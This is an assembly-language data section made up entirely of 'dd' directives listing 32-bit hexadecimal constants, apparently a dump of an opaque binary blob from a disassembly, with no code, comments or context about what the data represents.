dd 7661E80h, 0F58459AAh, 0E117DB6h, 0E14F8304h, 210002Fh
dd 0E54EDBB3h, 0FC3F4A54h, 0D77B80B1h, 4F36379Eh, 0EBE43117h
dd 12DCBB28h, 9C431076h, 88E3EB88h, 3289D0CDh, 9644FF08h
dd 0D828A0BFh, 133E89D1h, 9323E016h, 6CB4004Bh, 0B74CCDFEh
dd 0CA3D7727h, 20AB0046h, 72AF1C8Eh, 719026DDh, 0FCFB07B0h
dd 8483E016h, 0AD00F0AEh, 4D4E2BE5h, 34C52CDh, 0BEDD44ECh
dd 5D903AAFh, 0F008FB4h, 30C3E777h, 77419547h, 0DA3B3E19h
dd 49E0F800h, 6EC9A278h, 9A668F1Dh, 0C66F8440h, 3F2F10E9h
dd 3581E724h, 8BD617B3h, 2AE5E81Eh, 0B048252Ah, 1D03617Dh
dd 0DE01CC4Eh, 54503FAFh, 79DD5100h, 0F46FD753h, 82444300h
dd 0AF5A099h, 0C76E3C5Fh, 0BEF9A483h, 68FEFADFh, 0E19F4100h
dd 82BB118h, 335C11E0h, 3D670535h, 0E41334E2h, 0D2B62500h
dd 0A9FD1Bh, 0FBEFBF8Fh, 9B8AC177h, 945EE528h, 1F5348h
dd 2EAA7A78h, 4F6A11h, 0B89CD579h, 0EC35CB8Bh, 8160883Ch
dd 0D11D9357h, 51206EA1h, 0EB41005Dh, 6059F1A7h, 0B151343Dh
dd 0E744608Ch, 4921BE18h, 929206B0h, 0D5100334h, 0C5457A96h
dd 30C40AB8h, 0D3FD2401h, 440CEC41h, 13F5C4h, 81C5BE21h
dd 94F752EAh, 0AC2E5000h, 4DA5B154h, 0FC4F0680h, 581CD4D0h
dd 1743D53h, 20AFB918h, 0BC4A129h, 6049074Eh, 0B1945AD4h
dd 801E47F3h, 9B78C87Ch, 31460Eh, 1C15A5C2h, 0D01AAC4Eh
dd 1DF9B200h, 32AE507Eh, 2E253D5Dh, 0B7888D80h, 0E26CCA2Ch
dd 0FCDB4B00h, 0EB581E73h, 0E96D00E1h, 878B6140h, 2200C59Fh
dd 0BEFC5999h, 0C02E28h, 45D7B3CEh, 86862ACh, 6000F7Eh
dd 444F259Bh, 3F68164h, 8FCC84E9h, 0EFAB7362h, 0F7871CE0h
dd 0BD986701h, 0C4D24FCEh, 35C39447h, 9A212E24h, 1AE5005Ch
dd 110C26B2h, 6AEF4950h, 0EC3F5500h, 3BD15B7Ah, 0DB50016h
dd 658951Eh, 920377F5h, 0DE53BCA7h, 6ABFD03Eh, 9C2850DFh
dd 0F1850107h, 97CD5CEAh, 37D8CC99h, 6214BE70h, 3E81972h
dd 0AC63CE08h, 0FCEF9995h, 80C0B7C3h, 0B5392Ah, 4DD896CFh
dd 4851A297h, 565BAE00h, 0BDE5F4A0h, 8D7F001Ah, 0F8CDB325h
dd 6A000D9Ah, 941F2801h, 273E7C7Dh, 0A8C092C8h, 0E1031553h
dd 0C683D3C4h, 88F688CAh, 437FE0h, 2A67273Eh, 0A8D69C16h
dd 60000AFAh, 0A933CE35h, 65074Fh, 5ADDF5B1h, 0D67BBDA2h
dd 9EB00B1Dh, 6352D3C3h, 0B31EC090h, 86950F6Ch, 0F56CD893h
dd 0CB1CAE11h, 0B2142A15h, 332603CCh, 0C032A56Ah, 121B7D4Ch
dd 302210Eh, 3DAB3007h, 73661900h, 565069CCh, 0F4649035h
dd 0B89A6Ah, 0ED779363h, 3AD5B65Fh, 30FE850Ch, 5B7013h
dd 77D65EB9h, 3CE40BBAh, 2A6D5400h, 0CAB86210h, 43EE004Ch
dd 0D63ED456h, 80066C1h, 0BC1A15C8h, 59A70Bh, 0EC2DB834h
dd 0A09BEE87h, 7D29F000h, 0C5A33320h, 0EC7C5030h, 4C2A3AA5h
dd 31EB4580h, 2E17E59Dh, 0E6A6AA00h, 0C19F1CCAh, 42C730C0h
dd 0EBA56D92h, 0EF54000h, 1090EA80h, 0CDCF0050h, 1DDCB064h
dd 96262A1Eh, 25002584h, 680588AFh, 5DFA0018h, 0DB7DA5B7h
dd 0E6004D40h, 2139CEE5h, 0C2B8AEh, 0EC462886h, 738B7EEEh
dd 570D971Ch, 0D812F680h, 2484D145h, 0E164802h, 24C27B1Fh
dd 0F440FE7Ah, 46148B60h, 940ABFh, 0D0103473h, 0B0B6F0C5h
dd 48DC0391h, 42EAB42h, 65864A88h, 0DE933D27h, 0CC200F0h
dd 0AF08D809h, 0D9C3ED00h, 0D6B6B2B4h, 0CC61005Bh, 4ABC8E67h
dd 0DC002EC4h, 1674C8BBh, 45FD6Ch, 20C92BB9h, 7C3EAC42h
dd 0E83CE500h, 1D2377C0h, 5F9E0B60h, 2700DB8Fh, 6E66DEC9h
dd 0E78EA38h, 0C0192B6Ch, 44A9DDE0h, 0EFE60047h, 5CFD407Ah
dd 1000FFB5h, 0FEE105BCh, 9DE0C8h, 0A0AD26D1h, 0C14965E2h
dd 0F336ED03h, 0F86A4114h, 7629957Dh, 528D13AAh, 0F2D800ECh
dd 0B48F6DBEh, 0F305CCF9h, 0D81BC924h, 3800B012h, 0C70B1E94h
dd 0EC8EF825h, 22520368h, 9FBFB7ADh, 796A3FD8h, 1CE848E1h
dd 1285AE00h, 88ED3567h, 81A101B5h, 2AC911E5h, 64D82021h
dd 6CB01624h, 0A9049040h, 0BDFA00D1h, 55AC8E98h, 0B51E5140h
dd 250C82FDh, 8FAC2Ch, 76AA535Dh, 0B4079A61h, 0D31BB300h
dd 58B03C22h, 4CB9F8B5h, 450B7864h, 3000AD9Ch, 3D3E14F5h
dd 83113060h, 0B6751Dh, 7E49CC8Bh, 9069A98Ch, 2C6D4602h
dd 639CA358h, 0EA1CB823h, 7EA0A8F6h, 21AFAC8h, 4B97FD50h
dd 6440E244h, 9F0FF286h, 6340D482h, 0B0C46ECCh, 5852E84Eh
dd 0DD00AE41h, 0AB502968h, 0FA4C9875h, 85FF1F9Fh, 0E8078796h
dd 56300F26h, 483C2973h, 64500E71h, 0F6BC0096h, 4E347E31h
dd 610916ADh, 909E10Ch, 98D90760h, 641738F0h, 467D2C25h
dd 0F4330090h, 49DEA3C2h, 57E6437Eh, 42AFAB00h, 0D0401B4Bh
dd 82D300C7h, 9375BA64h, 540ABEDAh, 9C0E4DF6h, 8699FF00h
dd 0E238A11h, 5BDFEF4Ch, 0D0B5A6E3h, 0DA84CA80h, 24ABE017h
dd 70802C1Eh, 0BF0977B2h, 0C41F09F9h, 0D88EFAA1h, 0CC62BB40h
dd 8B00DE84h, 353E14Dh, 4BA7A9h, 34017367h, 903F13E3h
dd 4C2ADF2Ch, 0AC980700h, 76564D9h, 4F17810Bh, 537330AEh
dd 32C34CCh, 80096F6Fh, 960280C8h, 4751C4h, 40BE50AAh
dd 0BD554445h, 0B400BCB8h, 23D1E75Dh, 65877Dh, 4F47EEE0h
dd 93A6A489h, 0B66D1F00h, 46D82EADh, 434833E7h, 5EE8DF40h
dd 0FCEEC978h, 59644A31h, 0B0F415E7h, 49D81430h, 7105F2E0h
dd 0F3DA03h, 0EEFDF4C3h, 0AC0048ABh, 0E8B2295Dh, 0E8C7C33Eh
dd 1FC500CAh, 0F4C63387h, 11C05EFCh, 0C441865h, 3DC900E2h
dd 0A5BE1D13h, 7C1F0D7Bh, 48BC503h, 42D48464h, 3DD08A4h
dd 3899D9F7h, 23C0B935h, 9C008557h, 0EA6FB89Fh, 9B4050h
dd 7D4F2C2Dh, 6EE53876h, 0ED08C200h, 0B4A5581Dh, 0FCD7129Eh
dd 0BD7707C8h, 0E96B80F0h, 0DB003F0Eh, 3B69750Bh, 4EC111h
dd 244CA5Dh, 0F664CE2Ah, 7A21B403h, 0C1533466h, 79608368h
dd 0FCDF00C6h, 0C8827888h, 0C0008A91h, 2337455Dh, 758E9AEh
dd 150D124Ah, 94EF0A0h
dd 4F0E85A4h, 0D9D04Bh, 3F620358h, 45FF038Eh, 0F123E9Dh
dd 0D9BB6AA8h, 0A59FD100h, 1AB44C49h, 8CB3007Dh, 0FA3CA399h
dd 0DC0032B9h, 28800C4Ah, 0A01539A6h, 2873E594h, 10EC4791h
dd 0BB2AC5h, 1B3EB1AAh, 1ED25C76h, 0C0DDAE3Ch, 58D48588h
dd 0C92CB511h, 4300F468h, 0A7B7277Dh, 4E7203F9h, 0A83AEC8Bh
dd 0B19320B7h, 83007E46h, 135807F0h, 1E954B6Eh, 416AE477h
dd 0D381D71h, 728AC96h, 89EA400h, 39F3F86h, 0E7A78CABh
dd 8FC0B4D8h, 520EB3F0h, 0DFAF7E4Eh, 0A008534Fh, 0A756B2Ah
dd 58B90025h, 238DB787h, 310003B3h, 99523076h, 0C7CF17h
dd 12F333F6h, 728FDA58h, 0B1F7B903h, 93EF39E7h, 552A08Ch
dd 0FD7D0086h, 7AA546AFh, 1F988854h, 622D5616h, 0B004CF8h
dd 0B7524523h, 0E00D73Ah, 0DFD5D96Ch, 0E379E11h, 0F79C8F2Eh
dd 5F7A91F8h, 0DBF4E460h, 517964h, 0B41039BBh, 6E93D81Bh
dd 0F4F6CD00h, 7E4D31F7h, 4BF3095Fh, 1060E6E9h, 8004217h
dd 1F75FE03h, 3BADD6D5h, 0F900AE3Dh, 0D4603B1Bh, 0BF004D33h
dd 0A9FB06ACh, 10AB64h, 9E77122Dh, 0E1025548h, 8117C200h
dd 18223A8Dh, 0FEC90F4Dh, 0C33EA87Fh, 36F68BAh, 85605800h
dd 9C8D017h, 0BE9700CAh, 0F3538451h, 0B0005024h, 0B9FC2B46h
dd 76192925h, 0E98F0BF1h, 4A003B2h, 71D24044h, 0C427407h
dd 1301B2Fh, 37BAADh, 2DED1681h, 5F77875Bh, 0A200CC71h
dd 436E896h, 5468FD25h, 0E474E049h, 77C22651h, 1991F8Ch
dd 1E26FC78h, 87708090h, 69E59EAEh, 0A02E007Dh, 0B4D6086h
dd 0C97C22CBh, 0EFA96709h, 57A8275Eh, 7DE99DC1h, 502FF060h
dd 4CD6CC78h, 6C0195F0h, 2A298395h, 7B5AF4D5h, 7400E8B8h
dd 67FBD7E0h, 53244Fh, 0D246C1ACh, 479926B7h, 0B590D04h
dd 34913908h, 0FAD445BDh, 0EB6E0538h, 80E3D0D8h, 24360A7Ch
dd 0C5590300h, 7E567CFh, 13DEA38h, 0BB5DC4D7h, 0D8C6ED61h
dd 11EDA2Fh, 664ED88Fh, 0CF0C4008h, 0B892AB5Eh, 0ACF60200h
dd 0EBB7E5D5h, 0E8227CC0h, 0A3BC5F5Bh, 276C0907h, 3C68A0B9h
dd 0F500DBB8h, 0E5836DF8h, 1EE956Bh, 5D6E4ED1h, 0E8F343FEh
dd 94008630h, 0C2443342h, 5B89C1Dh, 2F7E4B04h, 0E348804Ch
dd 2D07AE0Bh, 0B103B92Bh, 0CDE04290h, 0AB775019h, 0A78113EDh
dd 3A0000Fh, 0F3945BD9h, 0C444F801h, 43CCDD11h, 3CF12D8h
dd 5146A69Eh, 0D6D8FD3Ah, 11009C07h, 0ECF66B96h, 0B06672FFh
dd 0FE8B0F6Ch, 5140EE4Bh, 0C4F72FAAh, 0F09437F4h, 8A3C0502h
dd 0F5D88006h, 0F684ACECh, 0E66B00C3h, 0EDAE61E4h, 9B0D5264h
dd 28070F14h, 0DD62C4h, 65CC392Ch, 8DE3ABEFh, 401689Ch
dd 88AC822Fh, 0B44870h, 0D7DD8570h, 9198A1C1h, 78EB100h
dd 7AF0C666h, 849300FFh, 54821712h, 8258FACh, 1319405Ah
dd 0EAB718A8h, 3BB01852h, 9A752B00h, 0E60BC9FAh, 562A073Fh
dd 70A2BBFCh, 0D07A27C3h, 0CF97FE00h, 8A035FF5h, 90C907E5h
dd 0A0BEFC4Dh, 9FD9A2C0h, 4AD5BC00h, 9C5AABE7h, 420700AEh
dd 0D872785Fh, 0CB76EF95h, 143DC224h, 0DE5F030h, 96150313h
dd 23B13A31h, 2DE1948h, 71B9F0DEh, 0A88CE392h, 2AB2288Eh
dd 0B00DF4h, 364EED22h, 12C0084Fh, 448FCC00h, 0FBF29C19h
dd 52D51F79h, 2B34001Fh, 8029F082h, 0DE78F416h, 794A1E02h
dd 0F960E48Ah, 503045D4h, 0D6EC02h, 1B9F5627h, 5E98D2C3h
dd 7EFD5Ch, 3E8DD720h, 0BE88260h, 0A329E0A5h, 96F29C40h
dd 21EF7202h, 0A15FCA55h, 4A502BE8h, 0C079D028h, 0EB528DC8h
dd 0A11834E8h, 87291D16h, 0B5795Dh, 938FE786h, 15F25313h
dd 1DA9451Ch, 80E1EB40h, 0FAB4EAh, 8C3CE3C6h, 849AEC95h
dd 2058446Bh, 1185264h, 7D27006Ah, 95A60216h, 0F4A07BDCh
dd 0FE25251Eh, 0F07C8050h, 7E7588h, 49186807h, 7DC4CDA0h
dd 166DBF1Dh, 2C6FC9CFh, 0B075A432h, 0EF133877h, 8583A6h
dd 0DFF09F31h, 6E0A24ACh, 0C070B7A5h, 56BF5100h, 76FEE542h
dd 0E3260E05h, 0E2044AEh, 0A0A75425h, 52E9E707h, 74232C10h
dd 0DAAFE0E6h, 7E571003h, 21680764h, 405B2F6Bh, 8BD4DB18h
dd 0C3CD5CC0h, 0A8CB8103h, 1062642h, 0C6718378h, 212BE3D2h
dd 1DB4F8E0h, 50BEBC30h, 89DB82h, 6CBE992h, 72977D4Ch
dd 276D3D09h, 60EC014Dh, 0E440A76Fh, 3E59C0EEh, 4780DDA2h
dd 5E97C5Eh, 0B93A7BA8h, 79F38FBBh, 0CAA48459h, 6BE0F887h
dd 0A201Bh, 41C5EEFDh, 912F2BACh, 5257BB26h, 929E5D03h
dd 0FDB0E828h, 487F482h, 0C815B49Ah, 0DEA0812Dh, 8F19D8A4h
dd 0DC40D4A2h, 74001FD1h, 42514066h, 90792F99h, 39140C14h
dd 6E2890A4h, 7E94D50Ch, 40BA017h, 3FAB4374h, 0F30880B8h
dd 340092B3h, 48B1549Ah, 891E4Dh, 0C3DA6214h, 55AD9430h
dd 0C0F0BC09h, 19A0806Eh, 1CDFEC1Eh, 40B6F9FDh, 0BED0151Bh
dd 43013FC0h, 0C3F8CBB0h, 0B2F4380Fh, 0A3BF2E01h, 0B7A280A8h
dd 1EE6901Ch, 3FD51509h, 0CDE80071h, 0ABF4A5h, 24B99148h
dd 0EE8FC634h, 7E5D5403h, 0B8C4C1E8h, 0B809EA2Fh, 0DFB0EC9h
dd 888E5E50h, 4805E42Bh, 0FD18A452h, 2DC10600h, 0A4129080h
dd 0B6FC00CFh, 1D859903h, 323CA70Dh, 9A10803Ch, 249E50C3h
dd 23C90026h, 6F158FCBh, 1A16ED45h, 480EEF80h, 0E0A2A95Ah
dd 96F71E28h, 2C1B01C0h, 3045C8EFh, 79013B62h, 1CEE6F97h
dd 48FAC70Ch, 3762D8h, 0AC3C2EDh, 8B63FF43h, 0FCB09374h
dd 562D8101h, 0F372FCB6h, 0FD1413D4h, 0F609C02Dh, 4C207A5Ah
dd 10CA35C4h, 3A24E4E6h, 9401940Dh, 665E0277h, 8D137C6Ch
dd 0F278404Fh, 594AE524h, 1A0528C0h, 305674h, 0F7A8C365h
dd 3DD6FAA1h, 9D0DAA12h, 69F12C01h, 0C9E42CC2h, 8AF40620h
dd 0E85F070Eh, 9A5C4B0Fh, 55782099h, 0C0588DC1h, 2E9BF618h
dd 0E8009308h, 0CF871792h, 269C5EC4h, 130143Dh, 3945C3F7h
dd 8F30F01Ah, 0F9D77C00h, 927D4BD9h, 81F12CA7h, 4F5103E8h
dd 88C07446h, 2F000ED1h, 94E6C2E4h, 1F908619h, 0C0F842BDh
dd 0FE086FC8h, 0E70096BEh, 0C7A7FA16h, 304A3Ch, 0ED0FB43Ah
dd 508058C8h, 0D7213816h, 3577F8C0h, 0C983004Dh, 520DE2A1h
dd 870F2A4Bh, 20B0B81Dh, 5A553EA3h, 0B300035h, 93BB2B81h
dd 450078FBh, 6BFE9236h, 0F49DC9Eh, 526A15D8h, 87A0CD8Eh
dd 9FDF32F9h, 9B4D9771h, 908F00DCh, 0EC43E5EEh, 28FB0A7Dh
dd 0BC72249h, 2382A67Bh, 0FC447ABFh, 5EB58F3Bh, 0D3E8BC70h
dd 887A0F21h, 0AB807533h, 8CD0A46Ch, 0E38E9E00h, 0BEFFBC11h
dd 71BDF0ECh, 82291F9Bh, 4BF1804Ah, 0CA73F76Fh, 0A49B818h
dd 66C7D0h, 4CBED568h, 0C90B72C5h, 9C00194Fh, 0C6248BA5h
dd 7D9901B6h, 0EA4B67DDh, 14E09D73h, 54A6FAC0h, 29113h
dd 9B33DC9Dh, 0B0893F7Ch, 0E46BA000h, 0EC647994h, 0EE870265h
dd 26188053h, 0C9002870h, 2C5F754Bh, 1D1257A5h, 5F2E3608h
dd 0DC40EDFCh, 1473C7AEh, 17916509h, 1E9C0106h, 0CF20203Bh
dd 98020038h, 248FEC2Ah, 0F300A2B6h, 4CFE3A0Dh, 1CAEB76Eh
dd 0FF48F2h, 5069CBB2h, 900F8A2h, 96842E8Ah, 98DB4341h
dd 18660310h, 2B30FA2Fh, 0C7F46803h, 809248C5h, 26EF6193h
dd 9089865h, 5CC93B47h, 0FA847083h, 0A96FE100h, 6CF4119h
dd 339F0EB8h, 9000DC6Ah, 0E5297C8Ah, 0C6D1272Eh, 0F69D8402h
dd 0E7F8CB73h, 0B8B51AF3h, 749BC2C6h, 0B677482h, 37D72751h
dd 39A1C4E0h, 5F96E601h
dd 47B4CE92h, 0BB519D0h, 1A68E402h, 0FA9B7020h, 822E6573h
dd 621D1E42h, 0E26C9400h, 72E54EF5h, 0D5DA00B4h, 0E632A179h
dd 44A3EF9Ch, 0A37AC5A8h, 28C67228h, 4296BF0Ah, 0EF0090EBh
dd 0B18D7AB5h, 8089FFE2h, 25009ACDh, 0C84289ADh, 37DA2900h
dd 0EC11FF4Fh, 13B11F66h, 8A8C403Ah, 2BC247DEh, 0DC6ECE7h
dd 0ADFE3200h, 0A96E16EAh, 8E52C0D9h, 0A8BFDE2Eh, 0AFE54A04h
dd 0AE4F0Eh, 9215BDFDh, 0CB004861h, 0B63D916Dh, 0C02C82B1h
dd 0B36374A9h, 0F0009DD9h, 61F24F41h, 74C120Bh, 0EC0A8490h
dd 40DEB594h, 4B3E1AF4h, 2000F6B2h, 0ED615473h, 1ECCF7FFh
dd 19C65BDh, 0A4E7844Dh, 6000D39Eh, 9436A3B8h, 302F32E6h
dd 4779187Fh, 84A0BADFh, 0B600697Ch, 15037E65h, 14C4E5B3h
dd 0D0D4B2D1h, 989B2C02h, 0AC5454E3h, 0A9029C80h, 0AD48DFh
dd 0F8A45327h, 0ED982CD7h, 0FA9D7800h, 59FFAC51h, 6DD06C6h
dd 0C1D64FE6h, 30984700h, 0D9F8B26Fh, 5A3900AEh, 4C67F583h
dd 4A3C09C2h, 0CC1080EDh, 27D051BCh, 0B47A0756h, 800D1A5Dh
dd 0FC954761h, 0A194B900h, 0A3B7E44Fh, 0FA600350h, 347FAF5Ch
dd 0CB56E107h, 9E715836h, 0E7E4C9A3h, 9DAE00E4h, 2EAD69BDh
dd 20925DB7h, 365C5918h, 60902F39h, 96ED1964h, 0F9C02E55h
dd 8F159A98h, 85B3DC3h, 0E34F7E0Ch, 0F8007DD9h, 0B84E096Eh
dd 0D5AA2A9h, 0AD97FBBDh, 0DBE63048h, 0A35CF900h, 92F53891h
dd 37AA00B9h, 2397BA09h, 0F026065h, 3E6910C6h, 1404B5C9h
dd 4461C44h, 0ADC3C1BAh, 108068D1h, 162C54Dh, 5F60E703h
dd 0BA499E21h, 0B71B3073h, 0F70D2D39h, 0F9723100h, 61A89D6h
dd 756D0049h, 0C2B824E7h, 0C31D0838h, 1E80E28Ah, 3CF410D1h
dd 83D93944h, 68C8A980h, 1640BE92h, 0DD89BB06h, 0F27042B7h
dd 0F5A201D8h, 793A5688h, 0C8A4C007h, 0FDF26905h, 1E834637h
dd 0C9201DD2h, 0F46E459Ch, 0F82038D7h, 0BA12CC46h, 9D6820C1h
dd 0AB20E11Ah, 0B5BB00D1h, 4F01402Ch, 2F150FC0h, 0A8CF44Eh
dd 88453F03h, 86B084A1h, 5EA54Dh, 5BF79790h, 0B4742F72h
dd 7EF9241Dh, 0EF2C4F80h, 6C1E883h, 0FD4CB83Eh, 88DC4843h
dd 952905A2h, 80825328h, 0F7F5CCEAh, 260694E0h, 92594449h
dd 21B040h, 0B8A371C5h, 83C48ADBh, 0E500CB7Ah, 0D83C34EEh
dd 0A6290FFh, 0D44FB856h, 33608CF0h, 84F0D3B9h, 0EF79FD03h
dd 0A9ADAA7Bh, 0BFC85AA5h, 3F040086h, 0D8831E76h, 0A0A0CAFEh
dd 0BA61ED03h, 0B2CCB749h, 0E81ED4h, 0CA40C7BCh, 8796249Ch
dd 6423139h, 0BBED6ADBh, 358F0131h, 176B7CCDh, 5A9D60CAh
dd 890403E2h, 0A066633Eh, 8EED0C82h, 334EDD54h, 0E49A33Fh
dd 0FA73C96Dh, 5CC5B1FCh, 8012509Ah, 0D51EEB27h, 0E866908Ch
dd 0BABD4448h, 81D3AD20h, 702252B4h, 0B9F36A04h, 700F5E83h
dd 210DE9BCh, 5742034Ch, 54007422h, 53170876h, 5C92B9A9h
dd 0C0ED49C6h, 4F253C41h, 33DA0580h, 15716236h, 513D5330h
dd 63D8BA11h, 0C9AE39B6h, 0C63F7909h, 80B4803Ah, 1F6E7C90h
dd 0C10516C7h, 86179CE0h, 0D28C4074h, 0C2812399h, 0C0068A10h
dd 87409301h, 4C71513Ah, 126FA020h, 1D763Eh, 895BE678h
dd 0FC60AE56h, 0BA437B71h, 23DFC92h, 0C7B33357h, 5240E97Ch
dd 360185B8h, 4E90DAE7h, 50835710h, 15452F05h, 0E118F100h
dd 4D6B2C9Dh, 0D1CE601Ch, 0ED0DBF7Ah, 570352F2h, 67DEC85Eh
dd 73401E4Dh, 0F218DCB0h, 0BC841DC0h, 0C9168626h, 64FE6F00h
dd 116245DAh, 44320F47h, 0F2E27D50h, 55033528h, 10CFCBEh
dd 7A002389h, 0D2E2899Ah, 0F9833AA3h, 39704730h, 2A001492h
dd 8EB89693h, 0D0036C44h, 0AE72C2B0h, 2F410005h, 0F77CC29h
dd 0A7703599h, 0C6564200h, 0D7AC2A9Bh, 0B6A00267h, 32602627h
dd 3AA70448h, 4904B700h, 7AAE7DDAh, 0CE800019h, 5DFAC3DEh
dd 8305EED2h, 63C7E86Ah, 86A1BC00h, 0DF0B44h, 339EC2AFh
dd 19939695h, 9F843550h, 0CB444A13h, 0BC0B044Ah, 901F03C4h
dd 3B587768h, 2E0B8098h, 70A3B192h, 0C3D507Fh, 0BC4CE927h
dd 30008C6Fh, 0F9935E8h, 26B889E4h, 97F92D3h, 7C016DC5h
dd 23693D4h, 262887E8h, 0A7BEED12h, 9607DD4h, 0E3056F8h
dd 25FF4016h, 61E1D8A1h, 0D4683026h, 41B4C051h, 8CDD51B4h
dd 513A6049h, 0D79100EFh, 4924E301h, 0E62618B7h, 12C02C0Bh
dd 1D5E11Dh, 0A36EF04Bh, 0DC92529Eh, 0A9242C94h, 8C12CA4h
dd 5062502Fh, 0F3E86E00h, 0A46D7547h, 0B9098893h, 0AECC90B0h
dd 9206h, 0D918361Eh, 74C33BA2h, 0FD43F401h, 0AFBA4F1Ah
dd 0B808F022h, 98A6790h, 193A98A5h, 4921CC1Dh, 0FFD1C0h
dd 4C7C98B5h, 1DE7DA2Ch, 0A5D00A00h, 444D267Dh, 1BF0A903h
dd 0A13903EFh, 0B137B5D6h, 146C6FCAh, 1C70441Dh, 0F58A0FA2h
dd 31A08793h, 9239847Ah, 49834FCh, 0CA86400h, 2E27D2BAh
dd 75791C8Fh, 26C32CA9h, 40CF4448h, 0B4629E37h, 0AF280FA8h
dd 3482759Ch, 4C41D844h, 0B78471Bh, 0D4E52300h, 20932823h
dd 4411FC26h, 30260A16h, 7C3D9700h, 0CF348900h, 4E62416Dh
dd 14640556h, 4EFFAFE0h, 0ED6005D0h, 0D7F2858Ah, 4D08D00h
dd 0D8C08281h, 98F43F21h, 601848C9h, 0CB266955h, 24B6A93Fh
dd 171194CAh, 0CDC0B44Ch, 5ABCB972h, 0E5D83Fh, 5EE6527Fh
dd 59D16F4h, 60197175h, 9EEC903Ch, 0C36286B8h, 6004E8B9h
dd 9957A142h, 8299802Ch, 66F4C319h, 30AB800h, 0D040B6C6h
dd 73F2749Bh, 0AFAE1245h, 0F75C6072h, 0BA02E32Fh, 0A4874784h
dd 22AB40A1h, 0B9D42E0Ch, 1EBCC82Ch, 2C946460h, 0D8D502A0h
dd 8527BA1Ch, 405D5870h, 20B83F2Eh, 0CB89B2B9h, 24994927h
dd 66F86126h, 35A21258h, 7180B437h, 7159C4Eh, 76DC794Fh
dd 0C2BA1281h, 0E94C108Ah, 0D2D64C07h, 3864AE43h, 0B11BB900h
dd 0A4F47A81h, 8B4C9993h, 0A8101CF6h, 0C00C427h, 16D5F6Ah
dd 24AE0D7Ah, 4374BEB9h, 51784BB8h, 0F67E64B2h, 3B51B0B2h
dd 0D68C4C58h, 0AB608B05h, 5CC1396Bh, 0A4315AA1h, 0E2799C02h
dd 51990C70h, 749161h, 8856C6AAh, 7C0068A6h, 0E59DC077h
dd 10E5466h, 0A7F1E838h, 0A9323B9Eh, 278A24F8h, 0B7646C90h
dd 997ACC40h, 0E50079CDh, 0F83CE2E9h, 6F501h, 5B7E75C1h
dd 4E75F6Dh, 909193Ah, 0B008212Eh, 1D5600Ch, 0C08B5A51h
dd 66C1BC81h, 809D230Ch, 23E6BA1h, 79481327h, 0A16C008h
dd 913C8Ch, 0EB93B025h, 4EB6CFFAh, 2B9C5119h, 20366CB8h
dd 0B0BA9B04h, 0CEAE45CFh, 4785C041h, 0E0F4993Ah, 786E04E2h
dd 88382E76h, 0B854ED7Ch, 0A4015FACh, 0B7A112BEh, 64D82BF6h
dd 0B50706CBh, 0C86DACD3h, 5C605322h, 0D48080EAh, 0B5D5AA39h
dd 0BCBBAC15h, 952980E0h, 4028Fh, 4CB615CBh, 763F0892h
dd 1C323504h, 0B4C852B9h, 0D46C54F7h, 50DB4DBCh, 0E00CE22h
dd 120331A3h, 0AEFD65F4h, 982E58E0h, 0E3AF27F1h, 0FB07E901h
dd 85F673B0h, 16F3006Eh, 53829A22h, 65C09B03h, 86AEB98Ch
dd 47E60031h, 0BB18851Dh, 0DD78195Ch, 31DA2602h, 0CDC87C80h
dd 730982B8h, 0C60352Bh, 38947297h, 0F6A2901Fh, 604CB1D8h
dd 5305247h, 0F966C700h, 566E1978h, 84365CA2h, 89153A08h
dd 0CCE9FF18h, 2DED0BA8h, 0D016005h, 0DF6FFC1Ch, 2A178BF8h
dd 2F0EC705h, 8C21C84Ch, 9E114140h, 0E907626h, 0A16DA288h
dd 71BBE890h, 7D6C828h, 4BF92520h, 52B8B001h, 61C98CB7h
dd 0FEF512Fh, 0EE865E38h
dd 0B768FA80h, 0E1256E9Eh, 1B58876Ch, 2DC1EF30h, 97289452h
dd 6C843221h, 0B81B8C68h, 82FA8CA8h, 80A82938h, 0EEE99F94h
dd 2634F38Bh, 0C0C056FBh, 0E5BA3010h, 0E86B800Eh, 8902124h
dd 8DC01F9Ch, 6E2900C4h, 95AD5431h, 262CC577h, 2D618013h
dd 9049F73Ah, 1B1248EDh, 0C500D852h, 5398978Eh, 0E8B48Dh
dd 60AB513Dh, 8F0A686Ch, 0AB4CB825h, 60100858h, 0F3BA5900h
dd 708B91Fh, 7D674FF2h, 0D252E098h, 1893B107h, 0A2CCE301h
dd 0A8486068h, 889D00CAh, 32CF0641h, 77396385h, 88945802h
dd 0F7398F3Ch, 5A0F9AC0h, 504C5505h, 29881010h, 145F28h
dd 43C77653h, 34D0D626h, 80ECA74Dh, 0BE4CA401h, 0CEA03E9h
dd 6321E135h, 4D2E3F80h, 3D80454h, 86D03C58h, 0F9E9512Dh
dd 1E9EA858h, 0C537548Bh, 20081828h, 0BBBA2174h, 29047C91h
dd 11EC3E8h, 70D3D6B9h, 8942893h, 0A868D286h, 0CC14E59Ch
dd 59007174h, 0EDE8C05Ch, 249D0DDFh, 12941C6Ch, 0B818C0A5h
dd 1CA1BC95h, 22C5103Bh, 0DC1C0474h, 0B304E548h, 82140270h
dd 41FE4AD8h, 0A997212Ch, 9CEE069Dh, 0D896E0E7h, 882A0408h
dd 50A6B9C3h, 6011BF11h, 78020258h, 0B0C12628h, 0A3FCB8h
dd 0FBDF065Eh, 152A03CEh, 0E002748h, 2ABA7F5Fh, 29042CC4h
dd 0B640C1EDh, 0F2654752h, 30410E02h, 64AEA508h, 163D0070h
dd 53588671h, 0A7022510h, 9C0A1ACh, 1124738Ch, 370779B9h
dd 95BDB41h, 0BE45E030h, 0E6730E3Dh, 420680A0h, 9E12C977h
dd 9444CDAEh, 0C0AED253h, 77E3141h, 0A428E850h, 9AB6D404h
dd 0EF80A946h, 2A3ECB8h, 0D2CFA8DFh, 7C450836h, 1F93C400h
dd 594CB55Eh, 0EA240CC0h, 48CA400Ch, 850284A0h, 94C052BCh
dd 4C244236h, 490D6000h, 2E4A6BAFh, 0A9CA467Ch, 4B0024EDh
dd 25DDB148h, 0D5A8A1A4h, 1A0D9310h, 49007F72h, 0D014DF66h
dd 19130DEh, 110541C1h, 803F0B5Fh, 5BFB8F60h, 68266Ah
dd 0B9221D7Bh, 895FB609h, 0ABBA450Bh, 4CF43C72h, 0B080C4AEh
dd 8AF2841Fh, 0A340E716h, 849E1049h, 74A40784h, 634E88BBh
dd 0F80FE676h, 40775152h, 0E10DD24Ch, 96E0998Dh, 0E5C307Ah
dd 91C0370h, 0AF4FBBFAh, 430073C8h, 3169F5ECh, 0C4E70153h
dd 1EE93560h, 0D132C18Ch, 39E42727h, 75EDC46h, 372E9B05h
